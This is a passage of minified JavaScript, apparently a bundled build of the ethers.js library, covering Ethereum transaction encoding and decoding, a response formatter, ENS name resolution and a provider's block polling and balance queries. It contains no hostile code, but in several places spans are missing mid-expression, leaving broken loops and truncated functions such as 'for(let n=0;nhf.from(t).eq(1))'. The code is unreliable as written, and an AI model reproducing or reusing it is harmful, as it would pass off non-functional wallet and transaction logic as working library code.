33===r.length?e?Wl(r):\"0x\"+eI().keyFromPublic(r).getPublic(!1,\"hex\"):65===r.length?e?\"0x\"+eI().keyFromPublic(r).getPublic(!0,\"hex\"):Wl(r):$d.throwArgumentError(\"invalid public or private key\",\"key\",\"[REDACTED]\")}Al(),il();var AI,iI,oI=new Gl(\"transactions/5.7.0\");function sI(t){return\"0x\"===t?null:Hp(t)}function aI(t){return\"0x\"===t?Lf:hf.from(t)}function cI(t,e){return r=function(t,e){const r=nf(e),n={r:jl(r.r),s:jl(r.s)};return\"0x\"+eI().recoverPubKey(jl(t),n,r.recoveryParam).encode(\"hex\",!1)}(jl(t),e),Hp($l(Yf($l(nI(r),1)),12));var r}function hI(t,e){const r=ql(hf.from(t).toHexString());return r.length>32&&oI.throwArgumentError(\"invalid length for \"+e,\"transaction:\"+e,t),r}function gI(t,e){return{address:Hp(t),storageKeys:(e||[]).map(((e,r)=>(32!==Zl(e)&&oI.throwArgumentError(\"invalid access list storageKey\",`accessList[${t}:${r}]`,e),e.toLowerCase())))}}function uI(t){if(Array.isArray(t))return t.map(((t,e)=>Array.isArray(t)?(t.length>2&&oI.throwArgumentError(\"access list expected to be [ address, storageKeys[] ]\",`value[${e}]`,t),gI(t[0],t[1])):gI(t.address,t.storageKeys)));const e=Object.keys(t).map((e=>{const r=t[e].reduce(((t,e)=>(t[e]=!0,t)),{});return gI(e,Object.keys(r).sort())}));return e.sort(((t,e)=>t.address.localeCompare(e.address))),e}function lI(t){return uI(t).map((t=>[t.address,t.storageKeys]))}function fI(t,e){if(null!=t.gasPrice){const e=hf.from(t.gasPrice),r=hf.from(t.maxFeePerGas||0);e.eq(r)||oI.throwArgumentError(\"mismatch EIP-1559 gasPrice != maxFeePerGas\",\"tx\",{gasPrice:e,maxFeePerGas:r})}const r=[hI(t.chainId||0,\"chainId\"),hI(t.nonce||0,\"nonce\"),hI(t.maxPriorityFeePerGas||0,\"maxPriorityFeePerGas\"),hI(t.maxFeePerGas||0,\"maxFeePerGas\"),hI(t.gasLimit||0,\"gasLimit\"),null!=t.to?Hp(t.to):\"0x\",hI(t.value||0,\"value\"),t.data||\"0x\",lI(t.accessList||[])];if(e){const t=nf(e);r.push(hI(t.recoveryParam,\"recoveryParam\")),r.push(ql(t.r)),r.push(ql(t.s))}return tf([\"0x02\",Mp(r)])}function pI(t,e){const r=[hI(t.chainId||0,\"chainId\"),hI(t.nonce||0,\"nonce\"),hI(t.gasPrice||0,\"gasPrice\"),hI(t.gasLimit||0,\"gasLimit\"),null!=t.to?Hp(t.to):\"0x\",hI(t.value||0,\"value\"),t.data||\"0x\",lI(t.accessList||[])];if(e){const t=nf(e);r.push(hI(t.recoveryParam,\"recoveryParam\")),r.push(ql(t.r)),r.push(ql(t.s))}return tf([\"0x01\",Mp(r)])}function dI(t,e,r){try{const r=aI(e[0]).toNumber();if(0!==r&&1!==r)throw new Error(\"bad recid\");t.v=r}catch(t){oI.throwArgumentError(\"invalid v for transaction type: 1\",\"v\",e[0])}t.r=rf(e[1],32),t.s=rf(e[2],32);try{const e=Yf(r(t));t.from=cI(e,{r:t.r,s:t.s,recoveryParam:t.v})}catch(t){}}function II(t){const e=jl(t);if(e[0]>127)return function(t){const e=Pp(t);9!==e.length&&6!==e.length&&oI.throwArgumentError(\"invalid raw transaction\",\"rawTransaction\",t);const r={nonce:aI(e[0]).toNumber(),gasPrice:aI(e[1]),gasLimit:aI(e[2]),to:sI(e[3]),value:aI(e[4]),data:e[5],chainId:0};if(6===e.length)return r;try{r.v=hf.from(e[6]).toNumber()}catch(t){return r}if(r.r=rf(e[7],32),r.s=rf(e[8],32),hf.from(r.r).isZero()&&hf.from(r.s).isZero())r.chainId=r.v,r.v=0;else{r.chainId=Math.floor((r.v-35)/2),r.chainId<0&&(r.chainId=0);let n=r.v-27;const A=e.slice(0,6);0!==r.chainId&&(A.push(Wl(r.chainId)),A.push(\"0x\"),A.push(\"0x\"),n-=2*r.chainId+8);const i=Yf(Mp(A));try{r.from=cI(i,{r:Wl(r.r),s:Wl(r.s),recoveryParam:n})}catch(t){}r.hash=Yf(t)}return r.type=null,r}(e);switch(e[0]){case 1:return function(t){const e=Pp(t.slice(1));8!==e.length&&11!==e.length&&oI.throwArgumentError(\"invalid component count for transaction type: 1\",\"payload\",Wl(t));const r={type:1,chainId:aI(e[0]).toNumber(),nonce:aI(e[1]).toNumber(),gasPrice:aI(e[2]),gasLimit:aI(e[3]),to:sI(e[4]),value:aI(e[5]),data:e[6],accessList:uI(e[7])};return 8===e.length||(r.hash=Yf(t),dI(r,e.slice(8),pI)),r}(e);case 2:return function(t){const e=Pp(t.slice(1));9!==e.length&&12!==e.length&&oI.throwArgumentError(\"invalid component count for transaction type: 2\",\"payload\",Wl(t));const r=aI(e[2]),n=aI(e[3]),A={type:2,chainId:aI(e[0]).toNumber(),nonce:aI(e[1]).toNumber(),maxPriorityFeePerGas:r,maxFeePerGas:n,gasPrice:null,gasLimit:aI(e[4]),to:sI(e[5]),value:aI(e[6]),data:e[7],accessList:uI(e[8])};return 9===e.length||(A.hash=Yf(t),dI(A,e.slice(9),fI)),A}(e)}return oI.throwError(`unsupported transaction type: ${e[0]}`,Gl.errors.UNSUPPORTED_OPERATION,{operation:\"parseTransaction\",transactionType:e[0]})}(iI=AI||(AI={}))[iI.legacy=0]=\"legacy\",iI[iI.eip2930=1]=\"eip2930\",iI[iI.eip1559=2]=\"eip1559\";var yI=new Gl(fd),CI=class t{constructor(){this.formats=this.getDefaultFormats()}getDefaultFormats(){const e={},r=this.address.bind(this),n=this.bigNumber.bind(this),A=this.blockTag.bind(this),i=this.data.bind(this),o=this.hash.bind(this),s=this.hex.bind(this),a=this.number.bind(this),c=this.type.bind(this);return e.transaction={hash:o,type:c,accessList:t.allowNull(this.accessList.bind(this),null),blockHash:t.allowNull(o,null),blockNumber:t.allowNull(a,null),transactionIndex:t.allowNull(a,null),confirmations:t.allowNull(a,null),from:r,gasPrice:t.allowNull(n),maxPriorityFeePerGas:t.allowNull(n),maxFeePerGas:t.allowNull(n),gasLimit:n,to:t.allowNull(r,null),value:n,nonce:a,data:i,r:t.allowNull(this.uint256),s:t.allowNull(this.uint256),v:t.allowNull(a),creates:t.allowNull(r,null),raw:t.allowNull(i)},e.transactionRequest={from:t.allowNull(r),nonce:t.allowNull(a),gasLimit:t.allowNull(n),gasPrice:t.allowNull(n),maxPriorityFeePerGas:t.allowNull(n),maxFeePerGas:t.allowNull(n),to:t.allowNull(r),value:t.allowNull(n),data:t.allowNull((t=>this.data(t,!0))),type:t.allowNull(a),accessList:t.allowNull(this.accessList.bind(this),null)},e.receiptLog={transactionIndex:a,blockNumber:a,transactionHash:o,address:r,topics:t.arrayOf(o),data:i,logIndex:a,blockHash:o},e.receipt={to:t.allowNull(this.address,null),from:t.allowNull(this.address,null),contractAddress:t.allowNull(r,null),transactionIndex:a,root:t.allowNull(s),gasUsed:n,logsBloom:t.allowNull(i),blockHash:o,transactionHash:o,logs:t.arrayOf(this.receiptLog.bind(this)),blockNumber:a,confirmations:t.allowNull(a,null),cumulativeGasUsed:n,effectiveGasPrice:t.allowNull(n),status:t.allowNull(a),type:c},e.block={hash:t.allowNull(o),parentHash:o,number:a,timestamp:a,nonce:t.allowNull(s),difficulty:this.difficulty.bind(this),gasLimit:n,gasUsed:n,miner:t.allowNull(r),extraData:i,transactions:t.allowNull(t.arrayOf(o)),baseFeePerGas:t.allowNull(n)},e.blockWithTransactions=mf(e.block),e.blockWithTransactions.transactions=t.allowNull(t.arrayOf(this.transactionResponse.bind(this))),e.filter={fromBlock:t.allowNull(A,void 0),toBlock:t.allowNull(A,void 0),blockHash:t.allowNull(o,void 0),address:t.allowNull(r,void 0),topics:t.allowNull(this.topics.bind(this),void 0)},e.filterLog={blockNumber:t.allowNull(a),blockHash:t.allowNull(o),transactionIndex:a,removed:t.allowNull(this.boolean.bind(this)),address:r,data:t.allowFalsish(i,\"0x\"),topics:t.arrayOf(o),transactionHash:o,logIndex:a},e}accessList(t){return uI(t||[])}number(t){return\"0x\"===t?0:hf.from(t).toNumber()}type(t){return\"0x\"===t||null==t?0:hf.from(t).toNumber()}bigNumber(t){return hf.from(t)}boolean(t){if(\"boolean\"==typeof t)return t;if(\"string\"==typeof t){if(\"true\"===(t=t.toLowerCase()))return!0;if(\"false\"===t)return!1}throw new Error(\"invalid boolean - \"+t)}hex(t,e){return\"string\"==typeof t&&(e||\"0x\"===t.substring(0,2)||(t=\"0x\"+t),Xl(t))?t.toLowerCase():yI.throwArgumentError(\"invalid hash\",\"value\",t)}data(t,e){const r=this.hex(t,e);if(r.length%2!=0)throw new Error(\"invalid data; odd-length - \"+t);return r}address(t){return Hp(t)}callAddress(t){if(!Xl(t,32))return null;const e=Hp($l(t,12));return\"0x0000000000000000000000000000000000000000\"===e?null:e}contractAddress(t){return function(t){let e=null;try{e=Hp(t.from)}catch(e){Tp.throwArgumentError(\"missing from address\",\"transaction\",t)}return Hp($l(Yf(Mp([e,ql(jl(hf.from(t.nonce).toHexString()))])),12))}(t)}blockTag(t){if(null==t)return\"latest\";if(\"earliest\"===t)return\"0x0\";switch(t){case\"earliest\":return\"0x0\";case\"latest\":case\"pending\":case\"safe\":case\"finalized\":return t}if(\"number\"==typeof t||Xl(t))return ef(t);throw new Error(\"invalid blockTag\")}hash(t,e){const r=this.hex(t,e);return 32!==Zl(r)?yI.throwArgumentError(\"invalid hash\",\"value\",t):r}difficulty(t){if(null==t)return null;const e=hf.from(t);try{return e.toNumber()}catch(t){}return null}uint256(t){if(!Xl(t))throw new Error(\"invalid uint256\");return rf(t,32)}_block(e,r){null!=e.author&&null==e.miner&&(e.miner=e.author);const n=null!=e._difficulty?e._difficulty:e.difficulty,A=t.check(r,e);return A._difficulty=null==n?null:hf.from(n),A}block(t){return this._block(t,this.formats.block)}blockWithTransactions(t){return this._block(t,this.formats.blockWithTransactions)}transactionRequest(e){return t.check(this.formats.transactionRequest,e)}transactionResponse(e){null!=e.gas&&null==e.gasLimit&&(e.gasLimit=e.gas),e.to&&hf.from(e.to).isZero()&&(e.to=\"0x0000000000000000000000000000000000000000\"),null!=e.input&&null==e.data&&(e.data=e.input),null==e.to&&null==e.creates&&(e.creates=this.contractAddress(e)),1!==e.type&&2!==e.type||null!=e.accessList||(e.accessList=[]);const r=t.check(this.formats.transaction,e);if(null!=e.chainId){let t=e.chainId;Xl(t)&&(t=hf.from(t).toNumber()),r.chainId=t}else{let t=e.networkId;null==t&&null==r.v&&(t=e.chainId),Xl(t)&&(t=hf.from(t).toNumber()),\"number\"!=typeof t&&null!=r.v&&(t=(r.v-35)/2,t<0&&(t=0),t=parseInt(t)),\"number\"!=typeof t&&(t=0),r.chainId=t}return r.blockHash&&\"x\"===r.blockHash.replace(/0/g,\"\")&&(r.blockHash=null),r}transaction(t){return II(t)}receiptLog(e){return t.check(this.formats.receiptLog,e)}receipt(e){const r=t.check(this.formats.receipt,e);if(null!=r.root)if(r.root.length<=4){const t=hf.from(r.root).toNumber();0===t||1===t?(null!=r.status&&r.status!==t&&yI.throwArgumentError(\"alt-root-status/status mismatch\",\"value\",{root:r.root,status:r.status}),r.status=t,delete r.root):yI.throwArgumentError(\"invalid alt-root-status\",\"value.root\",r.root)}else 66!==r.root.length&&yI.throwArgumentError(\"invalid root hash\",\"value.root\",r.root);return null!=r.status&&(r.byzantium=!0),r}topics(t){return Array.isArray(t)?t.map((t=>this.topics(t))):null!=t?this.hash(t,!0):null}filter(e){return t.check(this.formats.filter,e)}filterLog(e){return t.check(this.formats.filterLog,e)}static check(t,e){const r={};for(const n in t)try{const A=t[n](e[n]);void 0!==A&&(r[n]=A)}catch(t){throw t.checkKey=n,t.checkValue=e[n],t}return r}static allowNull(t,e){return function(r){return null==r?e:t(r)}}static allowFalsish(t,e){return function(r){return r?t(r):e}}static arrayOf(t){return function(e){if(!Array.isArray(e))throw new Error(\"not an array\");const r=[];return e.forEach((function(e){r.push(t(e))})),r}}},mI=function(t,e,r,n){return new(r||(r=Promise))((function(A,i){function o(t){try{a(n.next(t))}catch(t){i(t)}}function s(t){try{a(n.throw(t))}catch(t){i(t)}}function a(t){var e;t.done?A(t.value):(e=t.value,e instanceof r?e:new r((function(t){t(e)}))).then(o,s)}a((n=n.apply(t,e||[])).next())}))},BI=new Gl(fd);function EI(t){return null==t?\"null\":(32!==Zl(t)&&BI.throwArgumentError(\"invalid topic\",\"topic\",t),t.toLowerCase())}function wI(t){for(t=t.slice();t.length>0&&null==t[t.length-1];)t.pop();return t.map((t=>{if(Array.isArray(t)){const e={};t.forEach((t=>{e[EI(t)]=!0}));const r=Object.keys(e);return r.sort(),r.join(\"|\")}return EI(t)})).join(\"&\")}function vI(t){if(\"string\"==typeof t){if(32===Zl(t=t.toLowerCase()))return\"tx:\"+t;if(-1===t.indexOf(\":\"))return t}else{if(Array.isArray(t))return\"filter:*:\"+wI(t);if(kf.isForkEvent(t))throw BI.warn(\"not implemented\"),new Error(\"not implemented\");if(t&&\"object\"==typeof t)return\"filter:\"+(t.address||\"*\")+\":\"+wI(t.topics||[])}throw new Error(\"invalid event - \"+t)}function _I(){return(new Date).getTime()}function QI(t){return new Promise((e=>{setTimeout(e,t)}))}var bI=[\"block\",\"network\",\"pending\",\"poll\"],kI=class{constructor(t,e,r){If(this,\"tag\",t),If(this,\"listener\",e),If(this,\"once\",r),this._lastBlockNumber=-2,this._inflight=!1}get event(){switch(this.type){case\"tx\":return this.hash;case\"filter\":return this.filter}return this.tag}get type(){return this.tag.split(\":\")[0]}get hash(){const t=this.tag.split(\":\");return\"tx\"!==t[0]?null:t[1]}get filter(){const t=this.tag.split(\":\");if(\"filter\"!==t[0])return null;const e=t[1],r=\"\"===(n=t[2])?[]:n.split(/&/g).map((t=>{if(\"\"===t)return[];const e=t.split(\"|\").map((t=>\"null\"===t?null:t));return 1===e.length?e[0]:e}));var n;const A={};return r.length>0&&(A.topics=r),e&&\"*\"!==e&&(A.address=e),A}pollable(){return this.tag.indexOf(\":\")>=0||bI.indexOf(this.tag)>=0}},DI={0:{symbol:\"btc\",p2pkh:0,p2sh:5,prefix:\"bc\"},2:{symbol:\"ltc\",p2pkh:48,p2sh:50,prefix:\"ltc\"},3:{symbol:\"doge\",p2pkh:30,p2sh:22},60:{symbol:\"eth\",ilk:\"eth\"},61:{symbol:\"etc\",ilk:\"eth\"},700:{symbol:\"xdai\",ilk:\"eth\"}};function SI(t){return rf(hf.from(t).toHexString(),32)}function NI(t){return Hf.encode(zl([t,$l(Ad(Ad(t)),0,4)]))}var MI=new RegExp(\"^(ipfs)://(.*)$\",\"i\"),xI=[new RegExp(\"^(https)://(.*)$\",\"i\"),new RegExp(\"^(data):(.*)$\",\"i\"),MI,new RegExp(\"^eip155:[0-9]+/(erc[0-9]+):(.*)$\",\"i\")];function FI(t,e){try{return $f(PI(t,e))}catch(t){}return null}function PI(t,e){if(\"0x\"===t)return null;const r=hf.from($l(t,e,e+32)).toNumber(),n=hf.from($l(t,r,r+32)).toNumber();return $l(t,r+32,r+32+n)}function TI(t){return t.match(/^ipfs:\\/\\/ipfs\\//i)?t=t.substring(12):t.match(/^ipfs:\\/\\//i)?t=t.substring(7):BI.throwArgumentError(\"unsupported IPFS format\",\"link\",t),`https://gateway.ipfs.io/ipfs/${t}`}function RI(t){const e=jl(t);if(e.length>32)throw new Error(\"internal; should not happen\");const r=new Uint8Array(32);return r.set(e,32-e.length),r}function UI(t){if(t.length%32==0)return t;const e=new Uint8Array(32*Math.ceil(t.length/32));return e.set(t),e}function GI(t){const e=[];let r=0;for(let n=0;nhf.from(t).eq(1))).catch((t=>{if(t.code===Gl.errors.CALL_EXCEPTION)return!1;throw this._supportsEip2544=null,t}))),this._supportsEip2544}_fetch(t,e){return mI(this,void 0,void 0,(function*(){const r={to:this.address,ccipReadEnabled:!0,data:tf([t,bp(this.name),e||\"0x\"])};let n=!1;var A;(yield this.supportsWildcard())&&(n=!0,r.data=tf([\"0x9061b923\",GI([(A=this.name,Wl(zl(Qp(A).map((t=>{if(t.length>63)throw new Error(\"invalid DNS encoded entry; length exceeds 63 bytes\");const e=new Uint8Array(t.length+1);return e.set(t,1),e[0]=e.length-1,e}))))+\"00\"),r.data])]));try{let t=yield this.provider.call(r);return jl(t).length%32==4&&BI.throwError(\"resolver threw error\",Gl.errors.CALL_EXCEPTION,{transaction:r,data:t}),n&&(t=PI(t,0)),t}catch(t){if(t.code===Gl.errors.CALL_EXCEPTION)return null;throw t}}))}_fetchBytes(t,e){return mI(this,void 0,void 0,(function*(){const r=yield this._fetch(t,e);return null!=r?PI(r,0):null}))}_getAddress(t,e){const r=DI[String(t)];if(null==r&&BI.throwError(`unsupported coin type: ${t}`,Gl.errors.UNSUPPORTED_OPERATION,{operation:`getAddress(${t})`}),\"eth\"===r.ilk)return this.provider.formatter.address(e);const n=jl(e);if(null!=r.p2pkh){const t=e.match(/^0x76a9([0-9a-f][0-9a-f])([0-9a-f]*)88ac$/);if(t){const e=parseInt(t[1],16);if(t[2].length===2*e&&e>=1&&e<=75)return NI(zl([[r.p2pkh],\"0x\"+t[2]]))}}if(null!=r.p2sh){const t=e.match(/^0xa9([0-9a-f][0-9a-f])([0-9a-f]*)87$/);if(t){const e=parseInt(t[1],16);if(t[2].length===2*e&&e>=1&&e<=75)return NI(zl([[r.p2sh],\"0x\"+t[2]]))}}if(null!=r.prefix){const t=n[1];let e=n[0];if(0===e?20!==t&&32!==t&&(e=-1):e=-1,e>=0&&n.length===2+t&&t>=1&&t<=75){const t=ld.default.toWords(n.slice(2));return t.unshift(e),ld.default.encode(r.prefix,t)}}return null}getAddress(t){return mI(this,void 0,void 0,(function*(){if(null==t&&(t=60),60===t)try{const t=yield this._fetch(\"0x3b3b57de\");return\"0x\"===t||\"0x0000000000000000000000000000000000000000000000000000000000000000\"===t?null:this.provider.formatter.callAddress(t)}catch(t){if(t.code===Gl.errors.CALL_EXCEPTION)return null;throw t}const e=yield this._fetchBytes(\"0xf1cb7e06\",SI(t));if(null==e||\"0x\"===e)return null;const r=this._getAddress(t,e);return null==r&&BI.throwError(\"invalid or unsupported coin data\",Gl.errors.UNSUPPORTED_OPERATION,{operation:`getAddress(${t})`,coinType:t,data:e}),r}))}getAvatar(){return mI(this,void 0,void 0,(function*(){const t=[{type:\"name\",content:this.name}];try{const e=yield this.getText(\"avatar\");if(null==e)return null;for(let r=0;rt[e]))}return BI.throwError(\"invalid or unsupported content hash data\",Gl.errors.UNSUPPORTED_OPERATION,{operation:\"getContentHash()\",data:t})}))}getText(t){return mI(this,void 0,void 0,(function*(){let e=Zf(t);e=zl([SI(64),SI(e.length),e]),e.length%32!=0&&(e=zl([e,rf(\"0x\",32-t.length%32)]));const r=yield this._fetchBytes(\"0x59d1d43c\",Wl(e));return null==r||\"0x\"===r?null:$f(r)}))}},LI=null,OI=1,YI=class extends Df{constructor(t){if(super(),this._events=[],this._emitted={block:-2},this.disableCcipRead=!1,this.formatter=new.target.getFormatter(),If(this,\"anyNetwork\",\"any\"===t),this.anyNetwork&&(t=this.detectNetwork()),t instanceof Promise)this._networkPromise=t,t.catch((t=>{})),this._ready().catch((t=>{}));else{const e=yf(new.target,\"getNetwork\")(t);e?(If(this,\"_network\",e),this.emit(\"network\",e,null)):BI.throwArgumentError(\"invalid network\",\"network\",t)}this._maxInternalBlockNumber=-1024,this._lastBlockNumber=-2,this._maxFilterBlockRange=10,this._pollingInterval=4e3,this._fastQueryDate=0}_ready(){return mI(this,void 0,void 0,(function*(){if(null==this._network){let t=null;if(this._networkPromise)try{t=yield this._networkPromise}catch(t){}null==t&&(t=yield this.detectNetwork()),t||BI.throwError(\"no network detected\",Gl.errors.UNKNOWN_ERROR,{}),null==this._network&&(this.anyNetwork?this._network=t:If(this,\"_network\",t),this.emit(\"network\",t,null))}return this._network}))}get ready(){return ud((()=>this._ready().then((t=>t),(t=>{if(t.code!==Gl.errors.NETWORK_ERROR||\"noNetwork\"!==t.event)throw t}))))}static getFormatter(){return null==LI&&(LI=new CI),LI}static getNetwork(t){return function(t){if(null==t)return null;if(\"number\"==typeof t){for(const e in Tf){const r=Tf[e];if(r.chainId===t)return{name:r.name,chainId:r.chainId,ensAddress:r.ensAddress||null,_defaultProvider:r._defaultProvider||null}}return{chainId:t,name:\"unknown\"}}if(\"string\"==typeof t){const e=Tf[t];return null==e?null:{name:e.name,chainId:e.chainId,ensAddress:e.ensAddress,_defaultProvider:e._defaultProvider||null}}const e=Tf[t.name];if(!e)return\"number\"!=typeof t.chainId&&Sf.throwArgumentError(\"invalid network chainId\",\"network\",t),t;0!==t.chainId&&t.chainId!==e.chainId&&Sf.throwArgumentError(\"network chainId mismatch\",\"network\",t);let r=t._defaultProvider||null;var n;return null==r&&e._defaultProvider&&(r=(n=e._defaultProvider)&&\"function\"==typeof n.renetwork?e._defaultProvider.renetwork(t):e._defaultProvider),{name:t.name,chainId:e.chainId,ensAddress:t.ensAddress||e.ensAddress||null,_defaultProvider:r}}(null==t?\"homestead\":t)}ccipReadFetch(t,e,r){return mI(this,void 0,void 0,(function*(){if(this.disableCcipRead||0===r.length)return null;const n=t.to.toLowerCase(),A=e.toLowerCase(),i=[];for(let t=0;t=0?null:JSON.stringify({data:A,sender:n}),a=yield gd({url:o,errorPassThrough:!0},s,((t,e)=>(t.status=e.statusCode,t)));if(a.data)return a.data;const c=a.message||\"unknown error\";if(a.status>=400&&a.status<500)return BI.throwError(`response not found during CCIP fetch: ${c}`,Gl.errors.SERVER_ERROR,{url:e,errorMessage:c});i.push(c)}return BI.throwError(`error encountered during CCIP fetch: ${i.map((t=>JSON.stringify(t))).join(\", \")}`,Gl.errors.SERVER_ERROR,{urls:r,errorMessages:i})}))}_getInternalBlockNumber(t){return mI(this,void 0,void 0,(function*(){if(yield this._ready(),t>0)for(;this._internalBlockNumber;){const e=this._internalBlockNumber;try{const r=yield e;if(_I()-r.respTime<=t)return r.blockNumber;break}catch(t){if(this._internalBlockNumber===e)break}}const e=_I(),r=Cf({blockNumber:this.perform(\"getBlockNumber\",{}),networkError:this.getNetwork().then((t=>null),(t=>t))}).then((({blockNumber:t,networkError:n})=>{if(n)throw this._internalBlockNumber===r&&(this._internalBlockNumber=null),n;const A=_I();return(t=hf.from(t).toNumber()){this._internalBlockNumber===r&&(this._internalBlockNumber=null)})),(yield r).blockNumber}))}poll(){return mI(this,void 0,void 0,(function*(){const t=OI++,e=[];let r=null;try{r=yield this._getInternalBlockNumber(100+this.pollingInterval/2)}catch(t){return void this.emit(\"error\",t)}if(this._setFastBlockNumber(r),this.emit(\"poll\",t,r),r!==this._lastBlockNumber){if(-2===this._emitted.block&&(this._emitted.block=r-1),Math.abs(this._emitted.block-r)>1e3)BI.warn(`network block skew detected; skipping block events (emitted=${this._emitted.block} blockNumber${r})`),this.emit(\"error\",BI.makeError(\"network block skew detected\",Gl.errors.NETWORK_ERROR,{blockNumber:r,event:\"blockSkew\",previousBlockNumber:this._emitted.block})),this.emit(\"block\",r);else for(let t=this._emitted.block+1;t<=r;t++)this.emit(\"block\",t);this._emitted.block!==r&&(this._emitted.block=r,Object.keys(this._emitted).forEach((t=>{if(\"block\"===t)return;const e=this._emitted[t];\"pending\"!==e&&r-e>12&&delete this._emitted[t]}))),-2===this._lastBlockNumber&&(this._lastBlockNumber=r-1),this._events.forEach((t=>{switch(t.type){case\"tx\":{const r=t.hash;let n=this.getTransactionReceipt(r).then((t=>t&&null!=t.blockNumber?(this._emitted[\"t:\"+r]=t.blockNumber,this.emit(r,t),null):null)).catch((t=>{this.emit(\"error\",t)}));e.push(n);break}case\"filter\":if(!t._inflight){t._inflight=!0,-2===t._lastBlockNumber&&(t._lastBlockNumber=r-1);const n=t.filter;n.fromBlock=t._lastBlockNumber+1,n.toBlock=r;const A=n.toBlock-this._maxFilterBlockRange;A>n.fromBlock&&(n.fromBlock=A),n.fromBlock<0&&(n.fromBlock=0);const i=this.getLogs(n).then((e=>{t._inflight=!1,0!==e.length&&e.forEach((e=>{e.blockNumber>t._lastBlockNumber&&(t._lastBlockNumber=e.blockNumber),this._emitted[\"b:\"+e.blockHash]=e.blockNumber,this._emitted[\"t:\"+e.transactionHash]=e.blockNumber,this.emit(n,e)}))})).catch((e=>{this.emit(\"error\",e),t._inflight=!1}));e.push(i)}}})),this._lastBlockNumber=r,Promise.all(e).then((()=>{this.emit(\"didPoll\",t)})).catch((t=>{this.emit(\"error\",t)}))}else this.emit(\"didPoll\",t)}))}resetEventsBlock(t){this._lastBlockNumber=t-1,this.polling&&this.poll()}get network(){return this._network}detectNetwork(){return mI(this,void 0,void 0,(function*(){return BI.throwError(\"provider does not support network detection\",Gl.errors.UNSUPPORTED_OPERATION,{operation:\"provider.detectNetwork\"})}))}getNetwork(){return mI(this,void 0,void 0,(function*(){const t=yield this._ready(),e=yield this.detectNetwork();if(t.chainId!==e.chainId){if(this.anyNetwork)return this._network=e,this._lastBlockNumber=-2,this._fastBlockNumber=null,this._fastBlockNumberPromise=null,this._fastQueryDate=0,this._emitted.block=-2,this._maxInternalBlockNumber=-1024,this._internalBlockNumber=null,this.emit(\"network\",e,t),yield QI(0),this._network;const r=BI.makeError(\"underlying network changed\",Gl.errors.NETWORK_ERROR,{event:\"changed\",network:t,detectedNetwork:e});throw this.emit(\"error\",r),r}return t}))}get blockNumber(){return this._getInternalBlockNumber(100+this.pollingInterval/2).then((t=>{this._setFastBlockNumber(t)}),(t=>{})),null!=this._fastBlockNumber?this._fastBlockNumber:-1}get polling(){return null!=this._poller}set polling(t){t&&!this._poller?(this._poller=setInterval((()=>{this.poll()}),this.pollingInterval),this._bootstrapPoll||(this._bootstrapPoll=setTimeout((()=>{this.poll(),this._bootstrapPoll=setTimeout((()=>{this._poller||this.poll(),this._bootstrapPoll=null}),this.pollingInterval)}),0))):!t&&this._poller&&(clearInterval(this._poller),this._poller=null)}get pollingInterval(){return this._pollingInterval}set pollingInterval(t){if(\"number\"!=typeof t||t<=0||parseInt(String(t))!=t)throw new Error(\"invalid polling interval\");this._pollingInterval=t,this._poller&&(clearInterval(this._poller),this._poller=setInterval((()=>{this.poll()}),this._pollingInterval))}_getFastBlockNumber(){const t=_I();return t-this._fastQueryDate>2*this._pollingInterval&&(this._fastQueryDate=t,this._fastBlockNumberPromise=this.getBlockNumber().then((t=>((null==this._fastBlockNumber||t>this._fastBlockNumber)&&(this._fastBlockNumber=t),this._fastBlockNumber)))),this._fastBlockNumberPromise}_setFastBlockNumber(t){null!=this._fastBlockNumber&&tthis._fastBlockNumber)&&(this._fastBlockNumber=t,this._fastBlockNumberPromise=Promise.resolve(t)))}waitForTransaction(t,e,r){return mI(this,void 0,void 0,(function*(){return this._waitForTransaction(t,null==e?1:e,r||0,null)}))}_waitForTransaction(t,e,r,n){return mI(this,void 0,void 0,(function*(){const A=yield this.getTransactionReceipt(t);return(A?A.confirmations:0)>=e?A:new Promise(((A,i)=>{const o=[];let s=!1;const a=function(){return!!s||(s=!0,o.forEach((t=>{t()})),!1)},c=t=>{t.confirmations{this.removeListener(t,c)})),n){let r=n.startBlock,A=null;const c=o=>mI(this,void 0,void 0,(function*(){s||(yield QI(1e3),this.getTransactionCount(n.from).then((h=>mI(this,void 0,void 0,(function*(){if(!s){if(h<=n.nonce)r=o;else{{const e=yield this.getTransaction(t);if(e&&null!=e.blockNumber)return}for(null==A&&(A=r-3,A{s||this.once(\"block\",c)})))}));if(s)return;this.once(\"block\",c),o.push((()=>{this.removeListener(\"block\",c)}))}if(\"number\"==typeof r&&r>0){const t=setTimeout((()=>{a()||i(BI.makeError(\"timeout exceeded\",Gl.errors.TIMEOUT,{timeout:r}))}),r);t.unref&&t.unref(),o.push((()=>{clearTimeout(t)}))}}))}))}getBlockNumber(){return mI(this,void 0,void 0,(function*(){return this._getInternalBlockNumber(0)}))}getGasPrice(){return mI(this,void 0,void 0,(function*(){yield this.getNetwork();const t=yield this.perform(\"getGasPrice\",{});try{return hf.from(t)}catch(e){return BI.throwError(\"bad result from backend\",Gl.errors.SERVER_ERROR,{method:\"getGasPrice\",result:t,error:e})}}))}getBalance(t,e){return mI(this,void 0,void 0,(function*(){yield this.getNetwork();const r=yield Cf({address:this._getAddress(t),blockTag:this._getBlockTag(e)}),n=yield this.perform(\"getBalance\",r);try{return hf.from(n)}catch(t){return BI.throwError(\"bad result from backend\",Gl.errors.SERVER_ERROR,{method:\"getBalance\",params:r,result:n,error:t})}}))}getTransactionCount(t,e){return mI(this,void 0,void 0,(function*(){yield this.getNetwork();const r=yield Cf({address:this._getAddress(t),blockTag:this._getBlockTag(e)}),n=yield this.perform(\"getTransactionCount\",r);try{return hf.from(n).toNumber()}catch(t){return BI.throwError(\"bad result from backend\",Gl.errors.SERVER_ERROR,{method:\"getTransactionCount\",params:r,result:n,error:t})}}))}getCode(t,e){return mI(this,void 0,void 0,(function*(){yield this.getNetwork();const r=yield Cf({address:this._getAddress(t),blockTag:this._getBlockTag(e)}),n=yield this.perform(\"getCode\",r);try{return Wl(n)}catch(t){return BI.throwError(\"bad result from backend\",Gl.errors.SERVER_ERROR,{method:\"getCode\",params:r,result:n,error:t})}}))}getStorageAt(t,e,r){return mI(this,void 0,void 0,(function*(){yield this.getNetwork();const n=yield Cf({address:this._getAddress(t),blockTag:this._getBlockTag(r),position:Promise.resolve(e).then((t=>ef(t)))}),A=yield this.perform(\"getStorageAt\",n);try{return Wl(A)}catch(t){return BI.throwError(\"bad result from backend\",Gl.errors.SERVER_ERROR,{method:\"getStorageAt\",params:n,result:A,error:t})}}))}_wrapTransaction(t,e,r){if(null!=e&&32!==Zl(e))throw new Error(\"invalid response - sendTransaction\");const n=t;return 